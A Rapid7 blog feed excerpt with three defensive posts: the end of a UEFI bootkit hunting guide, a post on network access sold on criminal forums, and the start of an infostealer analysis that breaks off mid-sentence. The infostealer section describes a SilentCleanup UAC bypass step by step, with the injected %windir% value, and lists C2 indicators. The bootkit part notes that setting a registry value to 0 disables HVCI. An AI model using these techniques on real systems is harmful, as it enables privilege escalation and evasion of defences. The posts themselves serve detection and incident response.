binaries.</li><li>Other boot configuration settings.</li></ul><p>It's worth noting that this technique is relying on the Windows API and could be subverted with capable malware, but the visibility can provide leads for an analyst around boot configuration or signatures. There are also “boot only” NVRAM variables that can not be accessed outside boot, so a manual chip dump would need to be collected.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5cfbd536f6338161/683de21fbc38b10d44477d75/Screenshot-2024-02-28-at-12.27.00-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.27.00-PM.png" asset-alt="Screenshot-2024-02-28-at-12.27.00-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5cfbd536f6338161/683de21fbc38b10d44477d75/Screenshot-2024-02-28-at-12.27.00-PM.png" data-sys-asset-uid="blt5cfbd536f6338161" data-sys-asset-filename="Screenshot-2024-02-28-at-12.27.00-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.27.00-PM.png" sys-style-type="display"/></figure><p>Velociraptor has a community contributed capability: <a href="https://docs.velociraptor.app/artifact_references/pages/generic.system.efisignatures/"><em>Generic.System.EfiSignatures</em></a>. This artifact collects EFI Signature information from the client to check for unknown certificates and revoked hashes. This is a great artifact for data stacking across machines and is built by parsing data values from the <em>efivariables()</em> plugin.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte02fa6e0a9be806c/683de24130073e9026eb18da/Screenshot-2024-02-28-at-12.28.18-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.28.18-PM.png" asset-alt="Screenshot-2024-02-28-at-12.28.18-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte02fa6e0a9be806c/683de24130073e9026eb18da/Screenshot-2024-02-28-at-12.28.18-PM.png" data-sys-asset-uid="blte02fa6e0a9be806c" data-sys-asset-filename="Screenshot-2024-02-28-at-12.28.18-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.28.18-PM.png" sys-style-type="display"/></figure><p><strong>EFI System Partition (ESP) visibility</strong></p><p>The ESP is a FAT partitioned file system that contains boot loaders and other critical files used during the boot process which do not change regularly. As such, it can be a relatively simple task to find abnormalities using forensics.</p><p>For example, parsing the File Allocation Table we can review metadata around path, timestamps, and deleted status that may provide leads for analysis.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9f24ee173d288748/683de2683beff011b7a7c4cd/Screenshot-2024-02-28-at-12.29.16-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.29.16-PM.png" asset-alt="Screenshot-2024-02-28-at-12.29.16-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9f24ee173d288748/683de2683beff011b7a7c4cd/Screenshot-2024-02-28-at-12.29.16-PM.png" data-sys-asset-uid="blt9f24ee173d288748" data-sys-asset-filename="Screenshot-2024-02-28-at-12.29.16-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.29.16-PM.png" sys-style-type="display"/></figure><p>In the screenshot above we observe several EFI bootloader files with timestamps out of alignment. We would typically expect these files to have the same timestamps around operating system install. We can also observe deleted files and the existence of a System32 folder in the temporal range of these entries.</p><p><br/>The EFI/ folder should be the only folder in the ESP root so querying for any paths that do not begin with <em>EFI/</em> is a great hunt that detects our lead above. You can see in my screenshot below, the BlackLotus staging being bubbled to the top adding filtering for this use case.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf88964f68a2172e1/683de28c8ac17cc58629ae99/Screenshot-2024-02-28-at-12.30.33-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.30.33-PM.png" asset-alt="Screenshot-2024-02-28-at-12.30.33-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf88964f68a2172e1/683de28c8ac17cc58629ae99/Screenshot-2024-02-28-at-12.30.33-PM.png" data-sys-asset-uid="bltf88964f68a2172e1" data-sys-asset-filename="Screenshot-2024-02-28-at-12.30.33-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.30.33-PM.png" sys-style-type="display"/></figure><p>Interestingly, BlackLotus was known to use the Baton Drop exploit so we can compare to the publicly available Baton Drop and observe similarities to deleted files on the ESP.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf76726a62ea63052/683de2b565b8ea3ffacc8d7d/Screenshot-2024-02-28-at-12.31.31-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.31.31-PM.png" asset-alt="Screenshot-2024-02-28-at-12.31.31-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf76726a62ea63052/683de2b565b8ea3ffacc8d7d/Screenshot-2024-02-28-at-12.31.31-PM.png" data-sys-asset-uid="bltf76726a62ea63052" data-sys-asset-filename="Screenshot-2024-02-28-at-12.31.31-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.31.31-PM.png" sys-style-type="display"/></figure><p>The final component of ESP-based visibility is checking the bytes of file contents. We can run YARA to look for known malware traits, or obtain additional file type metadata that can provide leads for analysis. The screenshot below highlights the well known Black Lotus certificate information and PE header timestamp.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5927de36a6aca525/683de2dcca9dfce475526720/Screenshot-2024-02-28-at-12.32.35-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.32.35-PM.png" asset-alt="Screenshot-2024-02-28-at-12.32.35-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5927de36a6aca525/683de2dcca9dfce475526720/Screenshot-2024-02-28-at-12.32.35-PM.png" data-sys-asset-uid="blt5927de36a6aca525" data-sys-asset-filename="Screenshot-2024-02-28-at-12.32.35-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.32.35-PM.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte3a5a5596d2d09bc/683de30b3beff06d71a7c50d/Screenshot-2024-02-28-at-12.33.13-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.33.13-PM.png" asset-alt="Screenshot-2024-02-28-at-12.33.13-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte3a5a5596d2d09bc/683de30b3beff06d71a7c50d/Screenshot-2024-02-28-at-12.33.13-PM.png" data-sys-asset-uid="blte3a5a5596d2d09bc" data-sys-asset-filename="Screenshot-2024-02-28-at-12.33.13-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.33.13-PM.png" sys-style-type="display"/></figure><p>Available Velociraptor artifacts for this visibility of the ESP are:</p><ol><li><a href="https://docs.velociraptor.app/artifact_references/pages/windows.forensics.uefi/"><em>Windows.Forensics.UEFI</em></a> — This artifact enables disk analysis over an EFI System Partition (ESP). The artifact queries the specified physical disk, parses the partition table to target the ESP File Allocation Table (FAT). The artifact returns file information, and PE enrichment as typical EFI files are in the PE format.</li><li><a href="https://docs.velociraptor.app/exchange/artifacts/pages/yara.uefi"><em>Windows.Detection.Yara.UEFI</em></a><strong> </strong>—<strong> </strong>This artifact expands on basic enumeration of the ESP and enables running yara over the EFI system partition.</li></ol><p><strong>Measured Boot log visibility</strong></p><p>Bootkit security has always been a “race to the bottom.” If the malware could load prior to security tools, a defender would need to assume they may be defeated. Since Windows 8, Measured Boot is a feature implemented to help protect machines from early boot malware. Measured Boot checks each startup component — from firmware to boot drivers — and stores this information in the Trusted Platform Module (TPM). A binary log is then made available to verify the boot state of the machine.<strong> </strong>The default Measured Boot log location is <em>C:\Windows\Logs\MeasuredBoot\*.log</em> and a new file is recorded for each boot.<br/><br/><a href="https://docs.velociraptor.app/exchange/artifacts/pages/bootapplication/">Windows.Forensics.UEFI.BootApplication</a> parses Windows MeasuredBoot TCGLogs to extract PathName of events, which can assist detection of potential ESP based persistence (EV_EFI_Boot_Services_Application). The artifact leverages Velociraptor tools to deploy and execute Matt Graeber’s excellent powershell module <a href="https://github.com/mattifestation/TCGLogTools">TCGLogTools</a> to parse TCGLogs on disk and memory.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd04b8a9bfd4001ed/683de336ca9dfc95dc52673a/Screenshot-2024-02-28-at-12.34.20-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.34.20-PM.png" asset-alt="Screenshot-2024-02-28-at-12.34.20-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd04b8a9bfd4001ed/683de336ca9dfc95dc52673a/Screenshot-2024-02-28-at-12.34.20-PM.png" data-sys-asset-uid="bltd04b8a9bfd4001ed" data-sys-asset-filename="Screenshot-2024-02-28-at-12.34.20-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.34.20-PM.png" sys-style-type="display"/></figure><p>We can see when running on an infected machine that the BOOT application path has clearly changed from the default: \EFI\Microsoft\Boot\bootmgfw.efi. Therefore, Boot Application is a field that is stackable across the network.</p><p>We can also output extended values, including digest hashes for verification.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7c1bb644510cd00d/683de3616b437b68f54fa6f1/Screenshot-2024-02-28-at-12.35.34-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.35.34-PM.png" asset-alt="Screenshot-2024-02-28-at-12.35.34-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7c1bb644510cd00d/683de3616b437b68f54fa6f1/Screenshot-2024-02-28-at-12.35.34-PM.png" data-sys-asset-uid="blt7c1bb644510cd00d" data-sys-asset-filename="Screenshot-2024-02-28-at-12.35.34-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.35.34-PM.png" sys-style-type="display"/></figure><p><strong>Other forensic artifacts</strong></p><p>There are many other generic forensic artifacts analysts could focus on for assisting detection of a UEFI threat. From malware network activity to unexpected errors in the event log associated with Antivirus/Security tools on the machine.<br/><br/>For example: BlackLotus made an effort to evade detection by changing Windows Defender access tokens to <em>SE_PRIVILEGE_REMOVED</em>. This technique keeps the Defender service running but effectively disables it. While Velociraptor may not have protected process privileges to check tokens directly, we can check for other indicators such as errors associated with use.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd32e92a35cbee722/683de384da5c307a6ca83594/Screenshot-2024-02-28-at-12.36.29-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.36.29-PM.png" asset-alt="Screenshot-2024-02-28-at-12.36.29-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd32e92a35cbee722/683de384da5c307a6ca83594/Screenshot-2024-02-28-at-12.36.29-PM.png" data-sys-asset-uid="bltd32e92a35cbee722" data-sys-asset-filename="Screenshot-2024-02-28-at-12.36.29-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.36.29-PM.png" sys-style-type="display"/></figure><p><br/>Similarly, Memory integrity (HVCI) is a feature of virtualization-based security (VBS) in Windows. It provides a stronger virtualization environment via isolation and kernel memory allocations.The feature is related to Secure Boot and can be disabled for malware that needs a lower integrity environment to run. It requires setting the configuration registry key value to 0.</p><p><em>HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity\Value </em></p><p><em>0 - disabled</em></p><p><em>1 - enabled</em><br/><a href="https://docs.velociraptor.app/exchange/artifacts/pages/hvci/">Windows.Registry.HVCI</a> available on the artifact exchange can be used to query for this key value.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3a04c44c3a047011/683de3b370aa95cc52fe3134/Screenshot-2024-02-28-at-12.37.22-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.37.22-PM.png" asset-alt="Screenshot-2024-02-28-at-12.37.22-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3a04c44c3a047011/683de3b370aa95cc52fe3134/Screenshot-2024-02-28-at-12.37.22-PM.png" data-sys-asset-uid="blt3a04c44c3a047011" data-sys-asset-filename="Screenshot-2024-02-28-at-12.37.22-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.37.22-PM.png" sys-style-type="display"/></figure><p><strong>Conclusion</strong></p><p>Despite UEFI threats possessing intimidating capabilities, security practitioners can deploy some visibility with current tools for remote investigation. Forensically parsing disk and not relying on the Windows API, or reviewing other systemic indicators that may signal compromise, is a practical way to detect components of these threats. Knowing collection capabilities, the gaps, and how to mitigate these is just as important as knowing the threat.</p><p>In this post we have covered some of Velociraptor’s visibility for UEFI threats and we have only scratched the surface for those who know their environment and can query it effectively. Rapid7 supports <a href="https://github.com/Velocidex/velociraptor">Velociraptor open source</a>, providing the community with Velociraptor and open source features unavailable even in some paid tools.<br/></p><p><strong>References:</strong></p><ol><li><a href="https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/">ESET, Martin Smolar - BlackLotus UEFI bootkit: Myth confirmed</a></li><li><a href="https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/">Microsoft Incident Response - Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign</a></li><li><a href="https://kcm.trellix.com/corporate/index?page=content&amp;id=KB94177&amp;locale=en_US">Trellix Insights: TrickBot offers new TrickBoot</a></li><li><a href="https://unit42.paloaltonetworks.com/glupteba-malware-uefi-bootkit/">Palo Alto Unit 42: Diving Into Glupteba's UEFI Bootkit</a></li><li><a href="https://www.sentinelone.com/labs/moving-from-common-sense-knowledge-about-uefi-to-actually-dumping-uefi-firmware/">Sentinel1: Moving from common sense knowledge about uefi to actually dumping uefi firmware</a></li></ol>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/02/29/how-to-hunt-for-uefi-malware-using-velociraptor</link>
      <guid isPermaLink="false">blt9ca3017827a7710a</guid>
      <category><![CDATA[Velociraptor]]></category>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Matthew Green]]></dc:creator>
      <pubDate>Thu, 29 Feb 2024 17:32:12 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte0c401bac239bf9d/683ddc9e2a76865aa9bc830b/GettyImages-1128503636.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Network Access for Sale: Protect Your Organization Against This Growing Threat]]></title>
      <description><![CDATA[<p>Vulnerable <a href="/fundamentals/what-is-network-access-control-nac/">network access</a> points are a potential gold mine for threat actors who, once inside, can exploit them persistently. Many cybercriminals are not only interested in obtaining personal information but also seek corporate information that could be sold to the highest bidder. </p><h2>Infiltrating corporate networks</h2><p>To infiltrate corporate networks, threat actors typically use several techniques, including:</p><h3>Social engineering and phishing attacks</h3><p>Threat actors collect email addresses, phone numbers, and information shared on social media platforms to target key people within an organization using <a href="/fundamentals/phishing-attacks/">phishing campaigns</a> to collect credentials. Moreover, many threat actors managed to find the details of potential victims via leaked databases posted on <a href="/fundamentals/what-is-the-dark-web/">dark web</a> forums.</p><h3>Malware infection and remote access</h3><p>Another technique used by threat actors to gain access to corporate networks is <a href="/fundamentals/malware-attacks/">malware infection</a>. This technique consists of spreading malware, such as trojans, through a network of <a href="/fundamentals/botnet/">botnets</a> to infect thousands of computers around the world.</p><p>Once infected, a computer can be remotely controlled to gain full access to the company network that it is connected to. It is not rare to find threat actors with botnets on hacking forums looking for partnerships to target companies.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf17c5e1e447d9640/683de7b86b437bcb9a4fa81f/image3-4.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="image3-4.png" asset-alt="image3-4.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf17c5e1e447d9640/683de7b86b437bcb9a4fa81f/image3-4.png" data-sys-asset-uid="bltf17c5e1e447d9640" data-sys-asset-filename="image3-4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="image3-4.png" sys-style-type="display"/></figure><p></p><h3>Network and system vulnerabilities</h3><p>Some threat actors will prefer to take advantage of vulnerabilities within networks or systems rather than developing offensive cyber tools or using social engineering techniques. The vulnerabilities exploited are usually related to:</p><ul><li>Outdated or unpatched software that exposes systems and networks</li><li>Misconfigured operating systems or firewalls allowing default policies to be enabled</li><li>Ports that are open by default on servers</li><li>Poor network segmentation with unsecured interconnections</li></ul><h2>Selling network access on underground forums and markets</h2><p>Since gaining access to corporate networks can take a lot of effort, some cybercriminals prefer to simply buy access to networks that have already been compromised or information that was extracted from them. As a result, it has become common for cybercriminals to sell access to corporate networks on cybercrime forms.</p><p>Usually, the types of access that are sold on underground hacking forums are SSH, cPanels, RDP, RCE, SH, Citrix, SMTP, and FTP. The price of network access is usually based on a few criteria, such as the size and revenue of the company, as well as the number of devices connected to the network. It usually goes from a few hundred dollars to a couple thousand dollars. Companies in all industries and sectors have been impacted.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0383969868521c54/683de7d44c5a09803d5e0d61/image1-6.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="image1-6.png" asset-alt="image1-6.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0383969868521c54/683de7d44c5a09803d5e0d61/image1-6.png" data-sys-asset-uid="blt0383969868521c54" data-sys-asset-filename="image1-6.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="image1-6.png" sys-style-type="display"/></figure><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt673048b8da104cad/683de7f0ff6aa9af6a0eaa9b/image2-6.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="image2-6.png" asset-alt="image2-6.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt673048b8da104cad/683de7f0ff6aa9af6a0eaa9b/image2-6.png" data-sys-asset-uid="blt673048b8da104cad" data-sys-asset-filename="image2-6.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="image2-6.png" sys-style-type="display"/></figure><p></p><p>For these reasons, it is increasingly important for organizations to have visibility into external threats. Threat intelligence solutions can deliver <a href="/blog/post/2022/08/18/360-degree-xdr-and-attack-surface-coverage-with-rapid7/">360-degree visibility</a> of what is happening on forums, markets, encrypted messaging applications, and other deep and darknet platforms where many cybercriminals operate tirelessly.</p><p>In order to protect your internal assets, ensure the following measures exist within the company and are implemented correctly.</p><ul><li>Keep all systems and network updated.</li><li>Implement a network and systems access control solution.</li><li>Implement a two-factor authentication solution.</li><li>Use an encrypted VPN.</li><li>Perform network segmentation with security interfaces between networks.</li><li>Perform periodic internal security audit.</li><li>Use a <a href="/products/threat-command/">threat intelligence</a> solution to keep updated on external threats.</li></ul><p><em><strong>Additional reading:</strong></em></p><ul><li><a href="/blog/post/2022/08/18/360-degree-xdr-and-attack-surface-coverage-with-rapid7/"><em>360-Degree XDR and Attack Surface Coverage With Rapid7</em></a></li><li><a href="/blog/post/2022/07/27/to-maze-and-beyond-how-the-ransomware-double-extortion-space-has-evolved/"><em>To Maze and Beyond: How the Ransomware Double Extortion Space Has Evolved</em></a></li><li><a href="/blog/post/2022/07/25/iso-27002-emphasizes-need-for-threat-intelligence/"><em>ISO 27002 Emphasizes Need For Threat Intelligence</em></a></li><li><a href="/blog/post/2022/07/07/for-finserv-ransomware-attacks-obtaining-customer-data-is-the-focus/"><em>For Finserv Ransomware Attacks, Obtaining Customer Data Is the Focus</em></a></li></ul><div><h4>NEVER MISS A BLOG</h4><p>Get the latest stories, expertise, and news about security today.</p><a href="#">Subscribe</a></div><br/>]]></description>
      <link>https://www.rapid7.com/blog/post/2022/08/22/network-access-for-sale-protect-your-organization-against-this-growing-threat</link>
      <guid isPermaLink="false">blt3f5e4906eee91d42</guid>
      <category><![CDATA[Threat Intel]]></category>
      <category><![CDATA[Phishing]]></category>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Jeremy Makowski]]></dc:creator>
      <pubDate>Mon, 22 Aug 2022 14:56:10 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt730fa4f2d9dac970/683de80973c8454955e8c545/network-access.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Infostealer Malware Masquerades as Windows Application]]></title>
      <description><![CDATA[<p><em>This post also includes contributions from Reese Lewis, Andrew Christian, and Seth Lazarus.</em></p><p>Rapid7's <a href="/fundamentals/what-is-managed-detection-and-response-mdr/">Managed Detection and Response (MDR)</a> team leverages specialized toolsets, malware analysis, tradecraft, and collaboration with our colleagues on the Threat Intelligence and Detection Engineering (TIDE) team to detect and remediate threats.</p><p>Recently, we identified a malware campaign whose payload installs itself as a Windows application after delivery via a browser ad service and bypasses User Account Control (UAC) by abusing a Windows environment variable and a native scheduled task to ensure it persistently executes with elevated privileges. The <a href="/fundamentals/malware-attacks/">malware</a> is classified as a stealer, which intends to steal sensitive data from an infected asset (such as browser credentials and cryptocurrency), prevent browser updates, and allow for arbitrary command execution.</p><h2><strong>Detection</strong></h2><p>The MDR SOC first became aware of this malware campaign upon analysis of “UAC Bypass - Disk Cleanup Utility” and “Suspicious Process - TaskKill Multiple Times” alerts (authored by Rapid7's TIDE team) within Rapid7's InsightIDR platform.</p><p>As the “UAC Bypass - Disk Cleanup Utility” name implies, the alert identified a possible UAC bypass using the Disk Cleanup utility due to a vulnerability in some versions of Windows 10 that allows a native scheduled task to execute arbitrary code by modifying the content of an environment variable. Specifically, the alert detected a PowerShell command spawned by a suspicious executable named HoxLuSfo.exe. We determined that HoxLuSfo.exe was spawned by sihost.exe, a background process that launches and maintains the Windows action and notification centers.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteaec72f12d835cae/683de82373c8454235e8c551/pasted-image-0.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0.png" asset-alt="pasted-image-0.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteaec72f12d835cae/683de82373c8454235e8c551/pasted-image-0.png" data-sys-asset-uid="blteaec72f12d835cae" data-sys-asset-filename="pasted-image-0.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0.png" sys-style-type="display"/></figure><p>We determined the purpose of the PowerShell command was, after sleeping, to attempt to perform a Disk Cleanup Utility UAC bypass. The command works because, on some Windows systems, it is possible for the Disk Cleanup Utility to run via the native scheduled task “SilentCleanup” that, when triggered, executes the following command with elevated privileges:</p><p>%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%</p><p>The PowerShell command exploited the use of the environment variable %windir% in the path specified in the “SilentCleanup” scheduled task by altering the value set for the environment variable %windir%. Specifically, the PowerShell command deleted the existing %windir% environment variable and replaced it with a new %windir% environment variable set to:</p><p>%LOCALAPPDATA%\Microsoft\OneDrive\setup\st.exe REM</p><p>The environment variable replacement therefore configured the scheduled task “SilentCleanup” to execute the following command whenever the task “SilentCleanup” was triggered:</p><p>%LOCALAPPDATA%\Microsoft\OneDrive\setup\st.exe REM\system32\cleanmgr.exe /autoclean /d %systemdrive%</p><p>The binary st.exe was a copied version of HoxLuSfo.exe from the file path C:\Program Files\WindowsApps\3b76099d-e6e0-4e86-bed1-100cc5fa699f_113.0.2.0_neutral__7afzw0tp1da5e\HoxLuSfo\.</p><p>The trailing “REM” at the end of the Registry entry commented out the rest of the native command for the “SilentCleanup” scheduled task, effectively configuring the task to execute:</p><p>%LOCALAPPDATA%\Microsoft\OneDrive\setup\st.exe</p><p>After making the changes to the %windir% environment variable, the PowerShell command ran the “SilentCleanup” scheduled task, thereby hijacking the “SilentCleanup” scheduled task to run st.exe with elevated privileges.</p><p>The alert for “Suspicious Process - TaskKill Multiple Times” later detected st.exe spawning multiple commands attempting to kill any process named Google*, MicrosoftEdge*, or setu*.</p><h2>Analysis of HoxLuSfo.exe</h2><p>Rapid7’s MDR could not remotely acquire the files HoxLuSfo.exe and st.exe from the infected assets because they were no longer present at the time of the investigation. However, we obtained a copy of the executable from VirusTotal based on its MD5 hash, <a href="https://www.virustotal.com/gui/file/5dc8aa3c906a469e734540d1fea1549220c63505b5508e539e4a16b841902ed1/details">1cc0536ae396eba7fbde9f35dc2fc8e3</a>.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf4161b647193ac34/683de83cbc38b149ef477f08/pasted-image-0--1-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--1-.png" asset-alt="pasted-image-0--1-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf4161b647193ac34/683de83cbc38b149ef477f08/pasted-image-0--1-.png" data-sys-asset-uid="bltf4161b647193ac34" data-sys-asset-filename="pasted-image-0--1-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--1-.png" sys-style-type="display"/></figure><p>Rapid7’s MDR concluded that HoxLuSfo.exe had the following characteristics and behaviors:</p><ul><li>32-bit Microsoft Visual Studio .NET executable containing obfuscated code</li><li>Originally named TorE.exe</li><li>At the time of writing, only 10 antivirus solutions detected HoxLuSfo.exe as malicious</li></ul><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7d7edefaec16d33c/683de855aaf6206c6579e09d/pasted-image-0--2-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--2-.png" asset-alt="pasted-image-0--2-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7d7edefaec16d33c/683de855aaf6206c6579e09d/pasted-image-0--2-.png" data-sys-asset-uid="blt7d7edefaec16d33c" data-sys-asset-filename="pasted-image-0--2-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--2-.png" sys-style-type="display"/></figure><ul><li>Fingerprints the infected asset</li><li>Drops and leverages a 32-bit Microsoft Visual Studio .NET DLL, JiLuT64.dll (MD5: <a href="https://www.virustotal.com/gui/file/fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b/detection">14ff402962ad21b78ae0b4c43cd1f194</a>), which is an Agile .NET obfuscator signed by SecureTeam Software Ltd, likely to (de)obfuscate contents</li><li>Modifies the hosts file on the infected asset to prevent correct resolution of common browser update URLs to prevent browser updates</li></ul><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7e8b4453e853494b/683de86fff6aa93a580eaabb/pasted-image-0--3-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--3-.png" asset-alt="pasted-image-0--3-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7e8b4453e853494b/683de86fff6aa93a580eaabb/pasted-image-0--3-.png" data-sys-asset-uid="blt7e8b4453e853494b" data-sys-asset-filename="pasted-image-0--3-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--3-.png" sys-style-type="display"/></figure><ul><li>Enumerates installed browsers and steals credentials from installed browsers</li><li>Kills processes named Google*, MicrosoftEdge*, setu*</li><li>Contains functionality to steal cryptocurrency</li><li>Contains functionality for the execution of arbitrary commands on the infected asset</li></ul><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte20713e8f883e0c4/683de8868ac17c40b629b068/pasted-image-0--4-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--4-.png" asset-alt="pasted-image-0--4-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte20713e8f883e0c4/683de8868ac17c40b629b068/pasted-image-0--4-.png" data-sys-asset-uid="blte20713e8f883e0c4" data-sys-asset-filename="pasted-image-0--4-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--4-.png" sys-style-type="display"/></figure><ul><li>Communicates with s1.cleancrack[.]tech and s4.cleancrack[.]tech (both of which resolve to 172.67.187[.]162 and 104.21.92[.]68 at the time of analysis) via AES-encrypted messages with a key of e84ad660c4721ae0e84ad660c4721ae0. The encryption scheme employed appears to be reused code from <a href="https://gist.github.com/joshi-kumar/52bd2b6a79a2dab04c0fe5534f4a5757">here</a>.</li><li>Has a PDB path of E:\msix\ChromeRceADMIN4CB\TorE\obj\Release\TorE.pdb.</li></ul><p>Rapid7’s MDR interacted with s4.cleancrack[.]tech and 